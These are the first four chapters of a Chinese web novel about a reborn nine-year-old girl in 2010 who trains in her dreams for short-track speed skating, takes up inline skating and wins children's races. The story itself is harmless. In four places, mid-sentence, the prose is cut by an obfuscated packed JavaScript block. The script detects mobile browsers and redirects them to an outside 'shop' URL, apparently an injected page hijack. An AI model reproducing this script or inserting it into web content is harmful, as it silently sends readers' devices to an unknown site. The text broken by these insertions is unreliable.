《目标是冬奥[短道速滑]》 1. 第一章 “2010年冬季奥运会在加拿大南端的港口城市温哥华举办,赛事持续时间从2月12日到28日,共计16天,本届冬奥会中国代表团也派出了182人的队伍参加比赛,其中运动员91人,其中短道速滑项目包括我们的花样滑冰双人滑,都是我们……” “同时很巧合的是,本届冬奥会的开幕式刚好是和我们农历除夕重合,希望借着新年的这份好运气,能够给我们运动员还有教练组包括关注赛事的观众朋友们一份满意的答卷……” 方盒子电视机里体育频道里播音腔的声音盘旋着。 炕上奶奶摆弄着瓜子盘,“春节联欢晚会还没开始呀?” 代越把台拨到一频道,晚会前的广告还在循环播放着。 院子里传来小孩子的叫声,“出来玩呀!代越!” 代越在心里叹了口气,看不成比赛就算了,还要陪小孩子玩,已经九岁了,她什么时候才能完成重生的目标啊! 没错,代越是重生的,重生前就是一个普通的社畜,唯一不普通的也大概只是英年早逝。她深刻的怀疑自己死之前被冰块扎穿了脑子,发生了一些变异的现象,以至于自己不仅重生了,脑子里还多了一个不一样的东西。 大概从有记忆的时候开始,代越只要晚上睡觉,梦里就会出现一个宽阔的冰场,冰场入口旁边的牌子上面写着一行黑字,“目标:短道速滑世界冠军!” 开始以为只是单纯的做梦,后来发现,只要没有完成冰场上方屏幕显示的每日任务,她就没有办法从梦中醒来,为了不让自己成为真正意义上的睡美人,代越每天在梦里都很努力,从最开始早上上学总迟到,现在已经可以尝试训练完做个梦中梦了。 今天注定看不成冬奥开幕式了,也不知道在梦里能不能看到转播。 代越一边想着一边裹上自己的大棉袄出门赴小伙伴的约。 西北的冬天就像一匹凶猛的苍狼,寒风像它的爪子一样刮的脸生疼,即使裹着围巾,也还是从缝隙中钻进去,比起这种干冷,她果然更喜欢冰场里那种带着点湿气的凉。 唉,怎么突然这么想了,习惯真是个可怕的东西,代越在上一世二十多年都没有进过冰场,这才几年就从折磨变成享受了。 最开始当然是折磨,小孩子的身子骨软,好不容易才长到能站起来,就要开始锻炼,一个弯腰就摔在冰上,然后能来回在冰上滚一个晚上,没感冒没受伤一定是梦境自带的免疫BUFF,但回到现实还是会感觉心灵的疲惫。 去年上了小学,梦境又给自己安排了白天的陆地训练,第一次没有完成,梦里冰场外围又多了一圈塑胶跑道,愣是让自己补齐了才醒来。 可即便每天都练习,但还没有在真实世界踩过冰刀的西北小孩,距离梦境的目标,成为世界冠军也还是太遥远了一些。 小孩子的快乐很简单,过年的时候放些摔炮,窜天猴飞上天的那一刻就已经足够了。等到家里喊着吃饺子的时候,大家也都散了。 10年的春节联欢晚会,代越都不记得自己上辈子有没有看过。但和家人围坐在一起,本山大叔的小品,天后唱的传奇,都让人看得津津有味。 家里没有一定要熬年的习惯,伴随着舞蹈的背景音,代越躺在角落里已经睡着了。当然还有一个原因,即便是过年,代越在梦里也还是要训练的。 梦境中的冰场挂上了新年限定的红绸。就连放在长凳上的冰鞋,颜色都变成了靓丽的红色。看起来格外有氛围。 训练前先要做热身运动,类似动态拉伸高抬腿弓步走,静态拉伸腿部腰部韧带,然后又绕着冰道外围的塑胶跑道跑了1千米。 然后才穿上冰鞋走上冰场。此时大屏幕上显示的第一条热身活动已经打了勾。然后要做的是第二条的滑行基础训练。滑行基础训练很枯燥,要不断反复的练习蹲屈、蹬冰、收腿、摆臂动作,直道滑行练习完还要练习弯道滑行,都是重复又机械的训练模式。 竞技体育背后的训练真的枯燥极了,好在作为一个成年人的灵魂,又足够的耐心,习惯了还能从中找到点玩模拟人生的乐趣,肝露谷玩家绝不向重复活动认输! 练习过程中动作只要有不规范,冰场内就会360度循环声音播报错误。因为没有老师指导,代越就要调整自己的身体,直到声音播报停止,说明调整的动作已经规范了。 这种日复一日的自给自足,代越感觉自己无比熟悉自己的身体,每一块关节,每一块肌肉,动哪里不动哪里,身体倾斜的角度。每次感觉自己即是身处冰场滑动的自己,又是漂浮在空中看着自己的第三方视角。 …… 又是一晚上辛苦的训练,代越睁开眼睛,精神有些萎靡,今天没来的及补个小觉,大年初一,按照玄学的角度分析,这一年都会睡不好觉的,这么想来,今天心情都不好了。 “压岁钱在你枕头下面,快起来收拾收拾,咱们去你姥爷家拜年。”妈妈看着坐起来还有些懵懵的代越,往脸盆里倒了些热水。 毛巾敷在脸上,热气很快就凉了,刺激的一下子就清醒了,妈妈看不过去代越慢慢吞吞的穿衣服,直接把人拎过去,迅速几下就把棉袄拉链拉到了顶,帽子也压下来。 “妈,我还没吃饭呢!” “来不及了,去你姥爷家再吃吧!饿了就先吃块糖垫垫!谁让你起那么晚!”给代越兜里按了一把糖,全家人就匆匆忙忙的出门了。 代越吸吸鼻子,双手杵在衣服口袋里根本拿不出来,慢悠悠的跟在家里人后头,买好东西然后打上出租车。 去姥爷家要路过一个公园,公园门前的广场上还有烧剩下的旺火,几个小孩围着放炮,还有一个明显比其他小孩高出一截的男孩,是因为脚上穿着轮滑鞋,因为不太熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345274|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练,前俯后仰的样子有些滑稽。 “妈,今年的压岁钱,我能不能买双冰鞋?”代越也不知道一双冰鞋有多贵,该去哪儿买,怎么网购还没普及啊,上辈子没这需求,都没关注过途径。 “什么冰鞋?旱冰鞋啊?行啊,等过完年人家店里上班了我带你买去。” “不是这种,就是下面是冰刀的那种,只能在冰上滑——”代越刚说一半,想到自己根本就没有找到合适滑冰的地方,“算了,就旱冰鞋就行,买个便宜点的就行,剩下的钱我还要攒起来,以后用呢!” “你个小大人,还能攒住钱?要不然还是让妈妈给你拿着吧!” “那不行,我钱都是有用的!”代越心中闪过一丝沧桑,我小时候的压岁钱原来都是这么没有的吗?小孩要守住钱可真难啊! —— 正月初八,街上的店面大多已经恢复了工作状态,代越催着妈妈带她去买鞋,去年才建起来的商场离家不算太远,但商场里面的物价总是格外贵,一般家里买衣服什么的都是绕到商场大楼后面的旧市场里买。 绕过杂七杂八的店,在市场的角落里找到了一家玩具店,透过玻璃就看到了挂在墙上的轮滑鞋。 “旱冰鞋都是新进回来的,这一片就我卖,周边那几个学校的小孩儿都是从我这买的,流行的不得了,年前都得预定呢,也就是过了个年,我这几双都是新进回来的。”老板娘笑脸盈盈的推销。 妈妈指着墙上那一排,问代越喜欢哪一种。 代越一板一眼的纠正店老板的说法,“一般两排轮子的是旱冰鞋,单排轮子的叫轮滑鞋,我要买轮滑鞋,那双红黑色的,我想试试。” “红黑色的?”老板娘有些没想到,这个年纪的小孩包括小孩的父母,来了基本上都是女孩粉色,男孩蓝色,还有一些花哨亮闪闪的银灰色,很少有买这个颜色的,她从去年进货回来,那一双就没放下来过。 “这一排价格都是一样的,你确定不选一个自己喜欢的颜色?”妈妈以为代越是想省钱。 老板娘见状赶紧说,“你要是拿这个,我再给你们便宜二十!”好不容易有机会把这个钉子户送走,可要抓紧机会。 代越拽拽妈妈的手,“我就要这个,这个颜色是国家队比赛队服的颜色,吉利!今天穿队服色,明天就进国家队!” 老板娘没忍住捏了捏代越的脸,这么小的豆丁说出这么可爱的话,真讨人喜欢,“看你目标这么伟大,阿姨再给你便宜十块!” 代越揉揉脸,心里叹了口气,什么时候才能不被人捏脸啊! 最后在妈妈熟练的讨价还价下,还是以一百五的高价拿下了这双轮滑鞋,附带一个装轮滑鞋的书包。 这个时候的妈妈还从来没把代越口中所谓的进国家队当真。而代越已经在回家路上把背上这双轮滑鞋的使用时间安排的满满当当。 2. 第二章 轮滑是短道速滑运动员在无冰季节维持专项训练的核心手段,轮滑的技术动作与冰上滑行高度相似,可以有效保持运动员的体能和技术状态。 很多早期速滑运动员都是通过轮滑培养起来,然后轮转冰过来的,因为轮滑与短道速滑在基础动作,比如蹬地、收腿、摆臂这些,还有训练原则上高度一致,能覆盖约90%的滑冰技术动作,这让运动员转向冰上训练时能够快速适应。 广场上人不是特别多,中间有整整齐齐站着两排小孩,有一个成年人带着练习摆臂动作,到腿部动作的时候,小孩子们有不少站不稳的。 尤其是站在右后方一个明显比别的小孩矮一头的男孩,一动腿整个人就张牙舞爪的自动后滑,动一下比别人后退一步,眼见就要彻底脱离队伍撞到后面的标志块了。 代越迅速蹬腿,不过几秒就滑过去,撑住小男孩的背,说了句小心。 那位像是老师的成年男人看到了,赶紧喊了一声,“苗宇杰,你来最前面来学。” 代越看处理好了,耸耸肩,脚一蹬又滑出去。 广场东北角是一片篮球场,现在没人打球,大小正适合代越练习,绕着底线滑一圈,没什么障碍物,地面也挺平坦的,就是蹬起来有些费力,陆地的弹性和冰面的弹性区别还是很大的。 双手背后,膝盖弯曲,慢慢加快速度,蹬地收腿,拐弯向内侧微微倾斜,身体有些不适应的晃动一下。 “越越你慢点,小心摔倒!”尽管在代越自己看来并不快,但以为她是第一次轮滑的奶奶并不这么觉得,简直危险极了。 下次果然还是应该自己出来,代越认命的放慢速度,把动作做的更规范了,双手也从背后放下,摆臂练习做起来。 一圈又一圈,控制好速度,伴随着体能发出警告,动作开始有些变形,代越才慢慢停下来,双手撑着膝盖均匀的喘息。 教轮滑的男老师早就注意到代越了,开始只觉得这个小孩滑的不错,后来越看越吃惊。 “大家接下来排好队绕着平花桩滑,慢慢滑别着急啊!”安顿好学生们,就溜到代越奶奶跟前套近乎。 “你家这个小孩多大了,报的哪个轮滑班呀?滑的真好,一看就是那种有天赋的。” “越越她没报过班啊,连鞋都是才买的,她随便乱滑的。” “这可一点都不乱,我之前带过一个小孩还参加市里的轮滑比赛拿奖了呢,都没她滑的好。” “这轮滑还有比赛呢?” “可不是嘛!” …… 等代越滑过来打算喝口水的时候,就看到男老师已经把奶奶哄的笑逐颜开了。 “越越,曹老师说,你要是参加比赛能拿冠军呢!”奶奶对这句话的相信程度和班主任说代越未来能考清北时的相信程度是一模一样的,相不相信是一回事,但开心又是另一回事。 代越认真的说,“我们学校没有这种比赛,而且我也不会这样——那样——的过那个!”她指着那些整整齐齐的障碍块,双脚胡乱的扭了几下,“我也不打算练那个!我没打算当轮滑运动员。” “那个东西叫平花桩,你说的那种是自由式轮滑,轮滑比赛有速度轮滑的,你要是参加肯定能拿奖牌,说不定学校升旗仪式还会给你发奖状呢!”姓曹的老师用小学生最感兴趣的方式说。 换成真正的小学生可能还会激动一下,可是代越只会直白的说,“我是北三小的。” 总有一些重点小学是主抓学习的,别的活动能不参加就不参加,北三小就是这种学校,轮滑比赛,代越敢说,学校里没一个老师知道怎么报名,外面的机构应该对这些情况也清楚的很。 果然曹老师立马就反应过来了,“学校不能给你报名,你可以来我们慧体,能以俱乐部的名义报名。”说完曹老师皱了下眉头,不知道这个小孩能不能听懂俱乐部。 代越回答,“我不报班,而且还得交报名费吧!”兴趣班一般来讲参加比赛都是自费的,能收获到的也就只有象征荣耀的奖牌和未来升学评价表里一条德智体美劳全面发展的具体表现而已。 曹老师有些遗憾,“报名费确实是要的,可惜你真的很有希望的,这样吧,你给我留个电话呗,说不定我们老板能给解决报名费的问题。” 这个时候,奶奶的防诈意识明显还不够强,没多犹豫就把代越妈妈的电话号码给出去了。 代越犹豫了一下也没阻拦,如果真能不交报名费,去体验一下赛场的氛围也不错,上辈子除了学校运动会,她还没正经参加过比赛呢。不过话又说回来,人家也不一定愿意给你掏这笔钱。 —— 开学前的半个月就在白天陆地训练,晚上冰上训练中度过,家里人虽然有些奇怪,但还是把这些归于小孩子对新玩具的新鲜感以及充沛无处发泄的精力,代越还没有和家人说过自己未来要走的路,目前什么阶段结果都没有,说自己要当一个他们听都没有听过的短道速滑运动员,怎么说都会被当成玩笑吧。 路是一步一步走出来的,代越现在的目标是,找到一个能够专业练短道的地方,L市在这个时候还是没有组建冬季运动相关的队伍的,尽管冬天也不缺冰,但是发展还是差了一些,难不成真的得动员全家搬到东北吗? 背着完全没有重量的书包,和小伙伴一起走在去学校报道的路上,一边走一边思考人生。 学校离家只有两公里,从上学期末家里人就没接送过代越了,两公里也不过是平时训练热个身而已。 按部就班的上学生活,以至于妈妈说接到一个陌生老师的电话邀请代越参加比赛的时候,一时间代越都没有想起来陌生老师是谁。 周末,妈妈带着代越去了名为慧体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345275|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴趣班的俱乐部里参观,俱乐部的位置距离区里几所中小学都不远,在一个商业楼的一层,打通的大平层,地面光滑被涂上了鲜艳的各种颜色图案,鞋柜摆在门口一排,道具设备也规整的放在靠墙一侧,中间已经有一些小孩在滑了。 代越已经在心里估量着这种兴趣班的规模,真的能赚到钱吗? 妈妈悬着的心也放下来了一些,有这么一个专业的环境,至少不是纯骗子了。 还是曹老师来接待介绍,老板也没在,除了曹老师还有一个女老师在教学生。 “老板已经说了,五一劳动节期间有一个阳光少儿轮滑赛,报名费我们给你出!你只要拿到金牌,不只是报名费,老板还可以再给你两百块奖金!”曹老板说,“当然,你获得的金牌也要留给我们。” 两百块买一个金牌,听上去有些太资本了,但是代越看来,已经很不错了,要知道像这种类型的比赛,不管你过往战绩如何,冠军还是参与,都要平等的自费参加。 而这样自费的比赛,确是代越可能要持续很多年只能参加的比赛。 妈妈有点不自在了,“曹老师你这么说,是不是给我家孩子太大压力了,越越她从来没有参加过比赛。” “越越妈妈你别紧张,就算是没发挥好,我们也不会跟你要回来报名费的!” 代越关注的重点在,“我能报几项比赛?如果多拿几个金牌奖金也可以累加吗?” 妈妈更不好意思了,找补着解释,“越越她说话虽然像个小大人,但她绝对没有故意想占你们便宜的意思。” 曹老师笑着说,“小家伙还挺爱钱,可惜没个参赛员最多只能报两项比赛,300米计时赛,500米计时赛还有1000米计时赛,你选两个,两个金牌就给你双份奖金。”换成别的小孩,需要老师帮忙做选择,但代越这种有主见的小孩应该不用。 代越没有多加思考,就直接回答,“那我报500米和1000米的比赛。”300米这种距离是只有少儿组别才会有的,不管是轮滑还是短道速滑,正式的比赛都是从500米开始的。 “成,我给你提前把这两项报上去!”曹老师心里都乐开花了,机构里的孩子们大部分体力不够,300米还有机会冲冲名次,长距离是真的没招,代越把300米空出来,这不就能幻想一下保二冲三块牌子。 “距离五一也没多长时间了,你周末要是需要练习,可以随时来我们这里,等比赛那天,咱们也还是先来机构集合,统一坐大巴车去比赛场地。”曹老师安顿道。 代越点点头,这个地方虽然小了点,但地面确实滑起来舒服很多,也不容易受伤,器械也可以辅助使用。 她心里暗暗下决定,虽然这个机构只针对的是五月的比赛才给她提供这么多方便,但自己再努努力,争取把这个地方蹭成长期训练场所! 3. 第三章 五一放假前,代越才发现,原来一零年的劳动节只放三天,大家有出行计划也基本上就在当地转转。 早上正收拾要带的东西,轮滑鞋、护具、水杯、妈妈准备的简易医疗包统统装进书包里,这时候发小张宇宇又在门口喊代越的名字了。 又一次表明了一个现状,真正的小学生是不睡懒觉的,睡懒觉是上了中学后才会突然出现的坏习惯。 “宇宇,我待会儿要去参加比赛,不能跟你一起写作业了!”代越隔着门喊。 张宇宇跑跑跳跳的进来,“你要参加什么比赛啊?” 代越晃晃手里的轮滑鞋包,“是轮滑比赛。” “人多吗?我妈妈还想让我问你和阿姨,要不要一起去生态园玩呢!” 巧了,“我比赛也在生态园呢!你和秀玲阿姨要是有空也可以去看我比赛。” “我现在就和我妈说,我要去给你加油。”张宇宇风风火火的跑出去了。 —— 号码牌由曹老师保管着,在大巴车上挨个发给了每个家长,代越的妈妈石美莲女士也没见过这东西,四处张望看了一圈别的家长怎么弄,这才磕磕绊绊的把号码牌的四个角整整齐齐的别在里面机构统一发的运动半袖上。 “妈妈,你帮我把头发扎的紧一下吧,我怕比赛的时候散开。”代越见妈妈好像比要参加比赛的自己还紧张,主动给她找点事情做。 因为比赛的时候要带头盔,所以长头发只能扎马尾,或者低低的盘成小嘟嘟,妈妈也给自己找事做,把代越的头发从头顶一缕一缕编起来,然后在发尾扎成两个小揪揪,格外好看,但代越感觉如果未来每场比赛都按照这个方式扎头发,用不了多久就得秃。 生态园是L市最早建设起来的公园之一,占地面积大,绿化覆盖面积很重,中央还有一大片清澈的湖泊,所以叫生态园,在靠近中心湖前面的空地上,原本被分割给各种小游戏摊位的地方,围上了一米高的白色栏杆,圈出了大概有两百米长、六米宽的跑道,穿着黑色半袖带着黄色帽子的工作人员在其中走来走去。 曹老师把大家领到运动员候场区坐下,家长都留在了外面,机构的老板也到了,一个看上去不算年轻但神采奕奕的中年男人,身材有些魁梧,和代越她们同款的半袖紧紧勒在身上,胳膊露出精壮的腱子肉。 老板还露出一个看似慈祥的微笑,给要参加比赛的自家小选手们加油打气,还从背后拿出来一小箱葡萄糖,白色的药盒配上可怕的表情,像极了坏人,代越明显的看到有些小朋友身体都僵硬了。 上辈子上中学的时候,代越作为班长也给参加运动会的同学买过这个,用来补充能量,碰上看比赛坐久了低血糖的同学,也能派上用场,代越主动上去拿了一小瓶喝掉,其他人见状也围上去领。 那一刻,代越仿佛看到了老板眼睛里不太明显能看出来的感激解围,她对自己未来赖上这个机构又有了点自信。 —— 不需要购买门票,趁节假日带着孩子来游玩的人见到这里围了个大圈,统统过来凑热闹,很快就有了热闹的氛围。 这次轮滑比赛分为了三个组别,甲组为14-16岁,乙组为12-14岁,丙组为12岁以下。代越还不满9周岁,在参加比赛的选手中,属于年纪最小一批的,要不是规则放宽为12岁以下,按照往年的最低10岁限制,她都参加不了比赛。 丙组女子300米计时赛组别的比赛已经要开始了,大喇叭喊着让丙组男子300米的选手检录,300米是只有丙组才有的比赛,所以再下一场就是代越参加的丙组女子500米计时赛。 没有过比赛经验,代越还坐在休息处看比赛,在曹老师的提醒下才赶忙穿上轮滑鞋去热身,热身的时候视线和一直关注自己的妈妈对上,她身边站着宇宇和秀玲阿姨,宇宇大声的喊着加油。 感觉一股力量从脚底升起,双手有些麻麻的,但又觉得身上有用不完的力气。 从喇叭声音里听到自己的名字,曹老师拉着代越去检录,抽签,写着6号的铅笔,再然后她就站在了最靠近外侧的跑道,这其中的过程像是跑马灯,瞬间就过去了。 下一秒,就是缓慢又沉重的心跳的声音,在开枪前的那半分钟,是整个场地包括围观群众最安静的时刻。 代越集中所有注意力,听裁判简短又洪亮的指令。 “准备——” 左脚横于前方,轮子与起跑线并齐,另一只脚呈45度,准备蹬地发力,屈膝弯腰,左手横在胸前,右手提于腰侧,身体也自然侧倾,这个姿势在外行人看来有点像顺拐,但是轮滑还有短道速滑这种滑行类竞速项目里,是最高效的起跑方式,既能保证发力方向统一,又能保持平衡与稳定。 —— “这个小选手基础不错啊!”移动看台上坐着几个脖子上挂着特邀牌子的老师,坐在靠上一点位置的男人评价。 “杨老师,你说外道那个?有点矮吧?”他旁边年轻一点的女老师应和。 杨老师翻翻名录册,“这小孩年纪小,不到九岁这个身高长得挺快的了。” “看杨老师这个样子,是看中了?想培养一下?” “哪到哪啊,她岁数才多大,以后成啥样都说不准呢!再说了这个年纪我把她招进体校里,你给她单独开个小学班啊?” “等她长成了,您也快退休了,看来是没有缘分喽。” —— 代越并不知道有人在议论她,只顾着专注,弓身的样子像极了要炸毛的猫,两眼盯着前方。 “砰!”枪声响起,一缕细烟从后膛飘上天空。 代越根本看不到烟,大脑第一时间收到了枪声的反馈,然后催促着腿部动起来,轮滑鞋真沉啊,她感觉自己废了好大力气才提起脚步,手臂挥动都像是打着风,也看不到左边的人开始跑动了没有。 虽然在代越自己看来,她的反应慢的厉害,但在除她之外的所有人看来,这个号码为3246的小姑娘脚底就像是安了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345276|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹簧,枪响的一刻整个人都弹射了出去,直道还没过半,就超越到了第一位。 前面二十米,代越作为外道选手并没有刻意向内挤压,万一碰撞到一起就不太安全了,过弯的时候,她知道自己想多了,儿童组的竞争没有那么大,无需向后看,听声音也感觉后面的人离自己不是很近,比起竞争,这场比赛更像是一个对自己的测验。 身体倾斜,蹬地,在跑道留下一道干净利落的弧线,几乎没有降速,过一圈,代越已经能隐隐看到斜对角,坠在队尾的那个选手用力摆动的身影。 第二圈,顺利通过,然后是冲刺,划过终点线,裁判按下手中的计时器,因为代越所在的是500米计时赛第一组,所以最后的成绩要等后两组也进行完排序。 1000米的比赛在下午,换句话说,等成绩出来了,代越就可以先走了,包括颁奖仪式,因为所分的项目并不多,所以也是定在下午所有比赛都结束,统一颁发。 代越换下鞋子,套上外套,然后去找妈妈她们。 “我闺女真厉害!”妈妈不吝啬的夸奖。 秀玲阿姨也跟着说:“是呢,没想到越越在运动方面也这么有天赋,看她比赛我都觉得激动,这得拿冠军了吧,啥时候宇宇能让我们这么长脸啊!” 宇宇性格很开朗,被和代越这么比较也没有不开心,反而接下话茬,“那妈你也给我买双轮滑鞋吧!我每天和越越一起学习,明年也参加比赛。鞋我都挑好了,你看绿色的,多亮!”她指着不远处趁着比赛在旁边卖轮滑鞋的小地摊说。 “这公园里摆着卖的都多贵啊,你要真想买,问问你美莲阿姨在哪儿买的,咱们也去店里买,但提前说好,期末考试英语必须给我及格了!” “没问题!”宇宇不管能不能做到,先答应了再说。 代越和妈妈对视一笑。 大概半个小时不到,大喇叭里面念成绩的宣读员清了两下嗓子。 “下面播报丙组500米女子计时赛成绩,第一名:一组六道3246代越1''00''235,第二名三组二道3211张静1''00''802,第三名……” 念得很快,但因为第一个念得就是代越的名字,大家都听得比较真切。 “越越,你拿金牌了!”宇宇抱着代越的手激动摇晃,“我太厉害了,我居然有一个冠军朋友。” 曹老师和老板也过来了,说是要到了成绩单,“这次比赛很悬啊,那个闵静和你就差了半秒钟,不过也是因为你那组其他人都太慢了,速度自然而然就带不起来,竞速赛分组就是会有这种情况。总体来说,代越同学这次表现是真的很不错。” 代越暗暗记下了这些被自己遗漏的地方,轮滑比赛是自己年纪小这几年可能唯一能接触到的比赛了,竞速赛只有一轮的情况下,不管同组对手实力如何,都不能放松警惕,也不能骄傲自满,这个世界多的是体育竞技天才,她即使心理年龄在成熟,也有身体年纪和天赋的上限,所以还是需要再努力。 4. 第四章 代越在现场看完了甲组的比赛,才回家休息,相对于乙组丙组,甲组明显更精彩了,大家的技术差异都不是很大,相互之间有来有往,有不少弯道超越的精彩画面,甚至还出现了违规切道被判罚的情况,这些都是之前不太了解的地方,即便已经在参加比赛了,机构的老师也很少会教到,不知道老板办公室有没有电脑可以查到这些官方判定细则,或者让曹老师帮忙查查?实在没办法再偷偷去网吧吧! 中午回家吃完饭就立马闭眼睡觉,没有做任何梦,被妈妈叫醒,后知后觉感觉到小腿的肌肉有些酸,但还好,在可以忍受的范围。 缓一缓到了比赛场地,凭借过往的运动量储备,已经恢复了个大概,但是下午的竞技状态还是感觉差了点,活动手脚的时候也感觉身体沉重了很多。 不过看看大家都是一副没睡醒的样子,代越也稍微放松了一些,她要关注的重点在于上午那个差点超过自己的同学,她也参加了1000米竞速赛。 抽签的时候,代越和她眼神对上,带着淡淡的火药味,两个人都在祈祷,一定要和她抽在同一组! 同时打开,两个金色的三组在阳光下熠熠生辉,她们的位置也很近,闵静在一道,代越在二道。 “准备——” 裁判熟悉的声音。 “砰!” 两人几乎是同时冲出去,但第一个弯道,代越没有内道优势,排在了闵静后面,1000米是这个场地的5圈,第一圈的速度还没有起来,代越跟随着闵静的节奏滑,众所周知,领滑是要比跟滑更消耗体力的,两人相较于其他选手,拉开了一个小断层。 第四圈的时候,闵静的肩膀稍微晃动了一下,摆臂的幅度也大了一下,代越知道她的机会来了。 过弯因为惯性,速度会降低,如果不降速,就会飘到外道,露出内道超越的机会。 闵静的选择介于两者之前,速度略微降低,内道也露出一个人的身位,代越需要在眨眼的瞬间思考出来用哪种方式超越。 上午看甲组的比赛,那位内道切道被罚的选手画面还历历在目,没有过多抉择,身体已经提前滑到了靠外的位置。 提速,代越咬紧牙关,几乎在和身体的极限对抗,腿部滑动时加快了频率,身体倾斜的角度更大了,弯道过去,两人的身体已经并排,但外道的代越要更吃力一些。 下一个是直道,必须要赶在过弯之前超越,不然就很难再超过去了,代越趁闵静还没有反应过来,二次提速,心脏跳动的速度快到要蹦出来,呼吸紧的厉害,不得不微微张嘴分担呼吸。 赶在过弯前,代越以微弱的优势插进内道,排到第一位,稍微降速,死守内道的位置,逼迫闵静想要超越同样只能拉外道,但这个弯道她是一定没机会了。 而这个弯道过去,距离比赛结束还有一圈。 闵静明显感觉到代越的意图,过弯一结束的直道,就滑到靠外的位置,但前期领滑体力消耗了太多,提速也不是很有效,维持着一二道的相对位置,足足僵持了大半圈,却始终没有机会内切。 又是弯道,闵静终于拉不动了,降速贴在了代越的身后。 两人一前一后冲过了终点线。 双手撑住膝盖,抬起头大口呼吸,好险,差点就撑不住了,代越感觉不止手脚都麻了,耳朵都嗡嗡的作响,围观者的掌声呐喊声都忽近忽远,忽大忽小。 比赛时的1000米和日常训练时的1000米完全不是一个强度,这场比赛的速度,代越也发挥到了极致,平时一个人全力滑,也大概率滑不出来。 没有意外,两人最终也获得了丙组1000米的一二名。 领奖的时候,闵静站在代越旁边,摸着银色的牌子,小声和代越说,“早知道会突然出现你这么个厉害的家伙,我就应该报一个300米的,现在好了,两块都是银牌,你是哪个俱乐部的呀?” 代越说了慧体的名字,闵静若有所思的点点头。 —— 五一过去的第二周,代越成功在机构的办公室里蹲到了老板。 从曹老师口中得知老板姓冀的代越发挥自己的年龄优势,以勤奋好学的小学生身份占据了冀老板的电脑桌,一边搜资料一边打听冀老板的产业。 “所以冀老板,你还养着一个足球队啊?那个挺费钱吧!听说咱们这边足球都没什么商业比赛。” “呦,你还知道商业比赛?也了解足球?”冀老板有些惊喜。 “差不多吧,我家住那个院子的房东,他儿子就是踢足球的,我都是听那个哥哥说的。” “足球大环境确实是不好啊,挣不挣钱的倒是其次,主要是踢不出来成绩,我就希望自己养那个队伍里,但凡出来一个能进国家队的,都是荣誉啊。” 听到这话,代越懂了,这位对足球是纯热爱,再想想听机构里其他人说的,冀老板主业是干二手车的,主业养副业完全无压力,就是不知道他愿不愿意再养一个副业。 聊起足球冀老板有说不完的话,代越为了拉近关系,也只能耐心的听完。 终于找到一个话口插进去,“冀老板,你不打算再看看其他运动?足球虽然不行,但咱们国家还有优势项目呀,追能赢的项目多爽啊!” “你说跳水?咱这内陆地区连个水都没有,大街上抓十个人有八个旱鸭子。” “你别忘夏季运动想啊,冬季不也挺多。而且你这都开着轮滑馆了,还想不到和轮滑共通的项目。悟性也太低了,太让我失望了!”资料查完了,今天的眼药也就点到这里了,代越一边说一边走出办公室,关门之前还不忘吐槽一句。 冀老板一头雾水,“这小孩怎么阴晴不定的,她到底想说什么?冬季项目,难道是滑冰?” —— 五月底,天气慢慢热起来,教室里窗户必须要开着了,更热火朝天的是张宇宇,拉着一群同学围在代越桌子前面,讨论轮滑有多有趣,她滑的有多漂亮。自从秀玲阿姨给她报了班,就在慧体之后,每个周一都在重复这样的情形,带动了不少伙伴回家磨着家长也要买轮滑鞋。 班里氛围变化这么大,老师都知道了,特意抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345277|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个班会说,“大家既然都对轮滑这么感兴趣,不如六一儿童节的汇演,咱们班出一个轮滑的节目怎么样?负责人就定张宇宇了,要参与的都找张宇宇报名。” 张宇宇兴奋地接下这个工作,并且动用自己的权利,把代越定为了主演。 不涉及什么高难度动作,只是简单的绕桩,倒滑,倒滑绕桩,再带着大家搭成小火车绕几圈,就因为足够新颖给班里拿到一个一等奖奖状来,学校里的师生也都知道了三年级1班有个轮滑不错的小姑娘。 同样是在六月份,慧体新招进来一个熟悉的小姑娘。 